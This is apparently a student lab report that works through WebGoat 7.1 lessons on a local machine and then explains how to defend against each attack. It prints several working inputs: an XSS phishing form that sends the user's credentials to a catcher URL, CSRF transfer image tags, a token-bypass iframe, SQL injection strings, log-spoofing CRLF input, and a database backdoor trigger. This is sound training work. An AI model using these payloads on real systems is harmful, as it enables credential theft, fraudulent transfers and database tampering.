20155220 Exp9 Web安全基础实践

Exp9 Web安全基础实践

实验过程

开启webgoat

• 输入java -jar webgoat-container-7.1-exec.jar，来运行webgoat
  

• 在浏览器输入localhost:8080/WebGoat，进入WebGoat开始实验
  

XSS攻击

1.Phishing with XSS （网路钓鱼）

• 在搜索框中输入XSS攻击代码，利用XSS能够在已存在的页面中进一步添加元素的特色。咱们先建立一个form，让受害人在咱们建立的form中填写用户名和密码，再添加一段JavaScript代码，读取受害人输入的用户名和密码，完整的XSS攻击代码以下：

</form>
<script>
function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>

• 将上面的代码输入到输入框中，会出现以下登陆框

• 输入用户名和密码，提示攻击成功

2.Stored XSS Attacks

• 建立非法的消息内容，能够致使其余用户访问时载入非预期的页面或内容，输入标题，而后在message中输入一串代码，<script>alert("20155220 has no authority read it");</script>

• 结果如图：

3.Reflected XSS Attacks

• 当咱们输入错误用户信息后，服务器校验输入有误，返回错误页面并将错误内容展现给咱们看：

• 这时若是咱们将带有攻击性的URL做为输入源，例如输入<script>alert("20155220 has no authority change it");</script>，就会弹出对话框：

CSRF攻击

4.Cross Site Request Forgery（CSRF）

• 写一个URL诱使其余用户点击，从而触发CSRF攻击，经过图片的的形式将URL放进Message框，这时的URL对其余用户是不可见的，用户一旦点击图片，就会触发一个CSRF事件。咱们输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">

• 如图：

• 因为我点击了发布的文件2次，因此右侧为2。

5.CSRF Prompt By-Pass

• 内容和前者类似，只不过此次须要确认转帐，首先编辑内容<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=201552220" width="1" height="1">

• 在浏览器中输入URL：localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155220

• 点击CONFIRM按钮，再在浏览器中输入URL：http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM，成功转走了20155220元

6.CSRF Token By-Pass

• 本实验为读取令牌，并把令牌加到伪造的URL中，主要是读取目标网页的令牌，咱们在文本框中加入以下代码：
  <iframe src="attack?Screen=803158781&menu=900&transferFunds=main" onload="readFrame1();"id="frame1" frameborder="1" marginwidth="0"marginheight="0"width="800" scrolling=yes height="300">

如图：

• 攻击成功

Injection Flaws

7.Numeric SQL Injection

• 经过注入SQL字符串的方式查看全部的天气数据，加上一个1=1这种永真式便可达到咱们的目的，利用firebug，在任意一个值好比101旁边加上or 1=1：

• 而后选中Columbia，点Go，能够看到全部天气数据

8.Log Spoofing

• 咱们输入的用户名会被追加到日志文件中，因此咱们可使用障眼法来使用户名为admin的用户在日志中显示“成功登陆”，在User Name文本框中输入20155220%0d%0aLogin Succeeded for username: admin，其中%0d是回车，%0a是换行符

9.String SQL Injection

• 构造SQL注入字符串，在文本框中输入`' or 1=1 --，点击GO，能够查看到因此信息：

10.Database Backdoors

• 先输一个101，获得了该用户的信息：

• 能够发现输入的语句没有验证，很容易进行SQL注入，输入注入语句：101; update employee set salary=100000，成功把该用户的工资涨到了100000

• 接下来建立一个后门，把表中全部的邮箱和用户ID都设为个人

• 输入101;CREATE TRIGGER pyhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155220@stooges.com' WHERE userid = NEW.userid

基础问题

SQL注入攻击原理，如何防护？

• SQL注入漏洞是指在Web应用对后台数据库查询语句处理存在的安全漏洞。也就是，在输入字符串中嵌入SQL指令，在设计程序中忽略对可能构成攻击的特殊字符串的检查。后台数据库将其认做正常SQL指令后正常执行，可能实现对后台数据库进行各类操做，甚至形成破坏后台数据库等严重后果。
• 对用户的输入进行校验，能够经过正则表达式，双"-"进行转换等。
• 不要使用动态拼装sql，可使用参数化的sql或者直接使用存储过程进行数据查询存取；不要使用管理员权限的数据库链接，为每一个应用使用单独的权限有限的数据库链接；不要把机密信息直接存放，加密或者hash掉密码和敏感的信息。
• 应用的异常信息应该给出尽量少的提示。
• 采起辅助软件或网站平台来检测sql注入。

XSS攻击的原理，如何防护？

• 攻击者利用网站漏洞（一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤），输入能够显示在页面上的、对其余用户形成影响的HTML代码；因为受害者浏览器对目标服务器的信任，当其访问目标服务器上被注入恶意脚本的页面后，这段恶意脚本能够顺利执行，实现获取用户cookie并能够利用用户身份进行非法操做的目的。

• 浏览器自身能够识别简单的XSS攻击字符串，从而阻止简单的XSS攻击；从根本上说，解决办法是消除网站的XSS漏洞，这就须要网站开发者运用转义安全字符等手段。

CSRF攻击原理，如何防护？

• 攻击的主要目的是让用户在不知情的状况下攻击本身已登陆的一个系统，相似于钓鱼。如用户当前已经登陆了邮箱，或bbs，同时用户又在使用另一个，已经被你控制的站点，咱们姑且叫它钓鱼网站。这个网站上面可能由于某个图片吸引你，你去点击一下，此时可能就会触发一个js的点击事件，构造一个bbs发帖的请求，去往你的bbs发帖，因为当前你的浏览器状态已是登录状态，因此session登录cookie信息都会跟正常的请求同样，纯自然的利用当前的登录状态，让用户在不知情的状况下，帮你发帖或干其余事情

• 经过referer、token或者验证码来检测用户提交；尽可能不要在页面的连接中暴露用户隐私信息，对于用户修改删除等操做最好都使用post操做；避免全站通用的cookie，严格设置cookie的域。